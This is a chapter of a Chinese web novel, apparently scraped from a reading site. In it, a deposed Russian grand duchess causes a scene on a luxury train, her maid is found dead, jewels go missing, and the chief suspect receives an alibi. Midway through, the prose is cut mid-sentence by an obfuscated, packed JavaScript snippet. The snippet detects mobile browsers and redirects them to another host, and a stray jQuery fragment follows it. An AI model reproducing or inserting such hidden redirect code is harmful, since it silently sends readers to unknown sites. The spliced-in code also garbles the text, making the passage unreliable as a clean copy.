95.13.2
作品:《里斯克小姐的奇妙故事》 两位身着列车员匆匆赶来。
艾琳夫人看见他们,情绪愈发激动,用法语的嚷着:“无礼!粗野!你们知道我是谁吗?我只不过是管教一下我的仆人…你们…如果陛下还在……”
她的话语混乱,显然十分生气。
在列车员半劝半请下,她终于愤然离席,高昂着头,仿佛不是被迫离开,而是恩赐般地结束巡视。
旧日的皇帝早已倒塌,昔日的幽灵却仍然在缅怀。
艾琳·冯·哈尔斯塔,这位昔日的女大公,显然不觉得自己有什么问题。
她的女仆彭塔丝,脸色惨白,面带泪痕。她最后看了一眼格雷夫斯的方向,便低头快步跟上了女主人的背影。
而格列·格雷夫斯停留在原地,高大的身躯显得有些僵硬。
他看着她们消失在餐车尽头,紧抿着唇,然后重重坐回原位,招手让侍者又添了一杯伏特加,独自闷头喝起来。
而那个意大利人,奇里希·莫索斯一开始就远远看着这场闹剧。
没过多久,奇利希·莫索斯端着自己的酒杯,施施然走了过去,在格雷夫斯对面坐下。
他说了句什么,格雷夫斯起初没有反应,依旧盯着酒杯。
莫索斯并不气馁,又低声说了几句,这次格雷夫斯抬起眼,锐利的目光扫向他。
两人低声交谈起来,他们的声音压得很低,淹没在餐车逐渐恢复的嗡嗡人声里,内容无从得知。
只能看到莫索斯偶尔做出夸张的手势,而格雷夫斯大多时候只是沉默地听着,或者简短地回上一两句。
在这出闹剧之后,我已经没有什么食欲了。一旁简也是,她用餐巾轻轻擦了擦嘴角,起身。
“梅尔,保护好弗瑞。”她说。
“是,小姐。”梅尔应道。
没等我细问,简径直走向那两位英国先生。
詹姆斯·德那洛特看见她走来,并未起身,只是微微颔首。维克托·伍洛则显得有些紧张,下意识地调整了一下领结。
简在他们桌旁站定,低声说了几句什么。德那洛特做了个“请”的手势,简便在他们旁边的空位坐了下来。
他们的谈话同样隐秘,德那洛特显得从容不迫,伍洛则不时插话,表情焦虑紧张。简大部分时间在听,偶尔开口,神色平静。
梅尔的目光始终跟随着简,直到她在那桌坐下,才略微放松。
她的餐刀放在手边最顺手的位置,扫视着周围,警惕着。
而我身边的里娜·奥小姐则处于极度兴奋的状态。
她双眼放光,嘴里不停地低声念叨:“大新闻……绝对是重磅大新闻!沙俄末代贵族的丑态……还有那个意大利人……我得记下来……”她手忙脚乱地从随身的小包里翻出笔记本和铅笔,飞快地涂写着什么,完全沉浸在自己的世界里。
周围的其他乘客,那些衣着光鲜的艺术家、社交名流、富商,在最初的骚动后,迅速恢复了常态。
他们交换着心照不宣的眼神,嘴角撇出不屑的弧度,低声议论着那位昔日的女大公的失态,那为他们提供了今晚共同的谈资,这让他们兴致大涨。
餐车的气氛重新变得慵懒而奢华。
晚宴结束之后,许多客人并未立刻离去。正如预期的那样,他们开始点餐后酒。白兰地、威士忌、利口酒……
人们陆续起身,三三两两,谈笑着向列车更前端的酒吧车厢转移。
那里有更舒适的沙发,更轻松的氛围,是夜晚真正开始的地方。
我们这桌也散了。
简从伍洛先生他们那回来,脸上看不出什么特别的情绪,只对我们说:“去酒吧车坐坐?”
里娜小姐立刻跳起来附和:“去!当然去!那里肯定有意思!”
梅尔看向我,见我点头,便也默默起身。
我们找了一个相对安静的卡座坐下。
里娜立刻东张西望,像只寻找松果的松鼠。她很快发现了目标,压低声音对我们说:“看!那个意大利人和那个俄国军官也来了!”
果然,莫索斯和格雷夫斯一前一后走了进来,在离我们不远处的吧台边的高脚凳上坐下。
格雷夫斯又要来伏特加,而莫索斯则点了一杯意大利苦杏酒。他们继续着之前的谈话,格雷夫斯的表情似乎比在餐车时缓和了一些,但依旧凝重。莫索斯则显得很放松,嘴角带笑。
那两位英国先生也来了。德那洛特和伍洛选择了一个靠里的卡座。德那洛特舒服地靠在椅背上,点燃了那只一直拿在手里把玩的烟斗,慢悠悠地吸着,目光偶尔扫过全场。伍洛则要了一杯苏打水,依然显得心神不宁,不时用手帕擦拭眼镜。
过了一会儿,里娜小姐终于按捺不住,抓起相机和笔记本,站起身:“我得去问问……机会难得!”
她不等我们反应,便径直朝着吧台边的莫索斯和格雷夫斯走去。
我们看到她堆起笑脸,对那两人说了些什么,大概是自我介绍和采访请求。
格雷夫斯直接扭过头,用宽厚的背脊对着她。莫索斯倒是转过头,脸上又挂着那种似笑非笑的表情,上下打量了她一番,然后摇了摇头,简短地回绝了。
里娜碰了一鼻子灰,悻悻地回来了,嘴里嘟囔着:“真没劲……不过没关系,我可以观察……”
酒吧车厢里的人渐渐多了起来。音乐声也调高了一些,节奏变得更明快。烟草和酒精的气味更加浓郁,气氛变得热烈而微醺。
人们在这里卸下了一些旅途的疲惫,显露出更真实、或者说更放纵的一面。
我注意到那位俄国女仆彭塔丝并没有跟随她的女主人来到这里。想必那位喜怒无常的艾琳·冯·哈尔斯塔夫人正在自己的包厢里继续发泄着她的怒火。
而格雷夫斯,这个与她们似乎有着某种关联的男人,在莫索斯离开后,仍然一杯接一杯地喝着闷酒,与周围格格不入。
……
梅尔的警惕并未因环境的改变而放松。
她很少说话,只是静静地观察,尤其是对简,以及那两位英国人,还有吧台边的两人,保持着注意。
而简,她则是少有的多喝了些酒。从看见德那洛特他们的时候,她似乎就有些心事。
但是,她不说,我不问。
……
约莫晚上十一点,我们便离开了酒吧车厢。简与我们同行了一段,在靠近我们车厢的通道里,她停下脚步,对梅尔点了下头,便转身,朝着另一个方向(那两位英国先生车厢所在的车厢)走去。
我看着她的背影在昏暗的甬道灯光没入拐角。
梅尔没有多言,只是示意我打开车厢门。
她在我进去前,迅速扫视狭小的室内,确认无异状后,才让我进入。
“锁好门,弗瑞。除非听到我的声音,否则不要为任何人开门。”梅尔低声嘱咐,语气是罕见的严肃。
我点头应下。
门从外面被轻轻带上,接着是落锁的咔哒声。我依言将门内侧的锁也拧上。
隔音良好的车厢并不能完全隔绝远处酒吧车厢隐约传来的喧闹。这喧闹更反衬出我所在空间的寂静。
喧闹与寂静,在这飞驰的列车上形成一种割裂的共存。
而我无心睡眠,只能和衣躺在铺位上。
……
不知过了多久,或许已近凌晨一点。
一阵尖锐凄厉,饱含愤怒的女声嘶嚎,猛地打破了列车夜晚的宁静,让我恍然惊起。
是那位俄国夫人,艾琳·冯·哈尔斯塔!
声音来自她所在的高级车厢方向。
“我的珠宝!我的珠宝不见了!!”她用的是法语,声音因极致的愤怒而扭曲,“是她!一定是那个贱人!彭塔丝!她偷了我的珠宝跑了!!”
原本沉寂的几间车厢亮起了灯,门被拉开的声音此起彼伏。一些刚从酒吧车厢回来、带着醉意的乘客也被惊动,吵吵嚷嚷地循声而来。
“怎么回事?”
“好像是谁的东西被偷了?”
“是那个俄国老女人……”
我听到外面走廊里变得嘈杂。犹豫了一下,我贴近门板,透过狭小的通风百叶向外窥视。
只见艾琳夫人穿着睡袍,头发散乱,站在她的车厢门口,脸色煞白,但眼神却像燃烧的火焰。她的车厢门大开着,隐约可见内部一片狼藉,一个行李箱被打开,衣物散落出来。她挥舞着手臂,对着闻讯赶来的列车员和几个看热闹的乘客激动地控诉:
“我喝了睡前酒,睡得很沉……醒来就发现……箱子被翻过了!那些最珍贵的珠宝全部都不见了!一定是彭塔丝!只有她知道放在哪里!这个忘恩负义的东西!她人呢?!给我把她找出来!!”
她语无伦次,但意思明确:女仆偷了珠宝,失踪了。
人群骚动起来。几位喝了酒、兴致正高的年轻男士自告奋勇,嚷嚷着要“帮夫人找到小偷和珠宝”,开始沿着车厢通道搜寻。
气氛变得混乱而怪异,猎奇、正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521452|177843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
义感与酒精催化的亢奋让所有人都高昂起来。
搜寻并未持续太久。
大约十分钟后,一声更加惊恐的尖叫从列车末尾洗手间的方向传来。
所有的喧哗都消失了。随即又爆发出更大的声浪,朝着尖叫传来的方向涌去。
我也忍不住打开了门,混在人群边缘向前张望。
在列车末端那个灯光冰冷的洗手间里,人们找到了彭塔丝。
她不是失踪,而是死亡。
她蜷缩在洗手间角落,身上还是那件朴素的灰色衣裙,没有明显的外伤和挣扎痕迹,脸色是一种可怕的青白,眼睛微微睁着,空洞地望着天花板。
她已经死了。
看见这一幕,刚才还嚷着要抓贼的醉汉们酒醒了大半,脸上血色尽褪。女客们掩住嘴,发出压抑的惊呼,不敢再看。
现场一片混乱。
维克托·伍洛,那位戴眼镜的英国人,也挤在人群中看到了里面的情形。
他猛地后退一步,像是被什么东西烫到,眼镜后的双眼圆睁,充满了难以置信的恐惧。他用手帕死死捂住嘴,似乎想要呕吐,身体不受控制地颤抖起来。
“冷静点,维克托。”詹姆斯·德那洛特不知何时也来到了他身边,一只手用力按住同伴的肩膀,声音依旧平稳,但眉头紧紧锁住。他的目光锐利地扫过洗手间内部,又快速环视周围骚动的人群。
简也出现了。她拨开人群,冷静地走到洗手间门口,朝里面看了一眼。她的表情没有什么变化,只是和德那洛特交换了个眼神。
“死了……真的死了…好可怕…”
伍洛喃喃自语,猛地挣脱德那洛特的手,像是无法再忍受这恐怖的场景,转身跌跌撞撞地挤开人群,朝着自己车厢的方向跑去。
德那洛特没有去追他,而是看向列车员和闻讯赶来的列车长,清晰地说:“现场必须保护起来,在下一站移交警方之前,任何人不得再进入。另外,需要立刻找到与这位女士,”他指了指死去的彭塔丝,“以及冯·哈尔斯塔夫人关系密切的那位格雷夫斯先生。”
他的提议得到了列车长的采纳。混乱中,需要这样一个看似冷静且愿意承担责任的人。
很快,格雷夫斯被找到了。他仍然在酒吧车厢,似乎是喝醉了。
当被带到现场附近,得知彭塔丝的死讯时,他高大的身躯猛地晃了一下,似乎是不可思议。
但他的确是最具有嫌疑的人。
然而,当列车长严肃地询问他案发时间段(大约午夜至凌晨一点)的行踪时,格雷夫斯只是沉默地摇头,或者用生硬的法语说“不记得”“在喝酒”。他似乎没法说明自己的清白。
奇利希·莫索斯,那个意大利人,慢悠悠地从人群后走了出来。
“我想,这位先生可能无法提供确切的不在场证明,”莫索斯用带着浓重口音的英语说,脸上依旧是那副让人捉摸不透的神情,“因为,大概从十一点半到接近一点,他大部分时间都和我在一起,在酒吧车厢,嗯。”
他摊了摊手,“我们聊了聊……关于俄国,关于意大利,很多事。他喝得很多,非常醉。后来我说要回去休息,他就自己又多坐了一会儿。至于他是否半途离开过……抱歉,我不能完全确定。但我们确实在一起待了很长时间。其他人应该有看见他吧。”
他看向在旁边围观的其他先生。
“是的,他们一直在喝酒…”
“他一直在那里…”
“那好像不是他杀的?”
人们窃窃私语,但是格雷夫斯先生的嫌疑就这么大概洗清了。
没有找到失窃的珠宝。格雷夫斯的包厢被简单搜查过,一无所获。他自己的行李少得可怜。
局面陷入了僵局。
而简和德那洛特都保持者沉默。
列车上没有警察,缺乏专业的侦查手段。
最终,列车长做出了决定。在抵达尼斯,将案件正式移交给当地警方之前,所有人,尤其是重点嫌疑人格雷夫斯,以及相关证人(包括莫索斯、冯·哈尔斯塔夫人、我们这些最早发现或接近现场的人),都必须待在列车上,接受后续的问询。
喧嚣和恐慌暂时被压下去了。人们回到自己的车厢,锁上门,窃窃私语。
窗外,夜色依旧浓稠。
列车毫不停歇,继续在黑暗中轰鸣前行,载着一具尸体、一桩悬案、一群各怀心事的人,奔向未知的黎明。
距离尼斯,还有好几个小时。

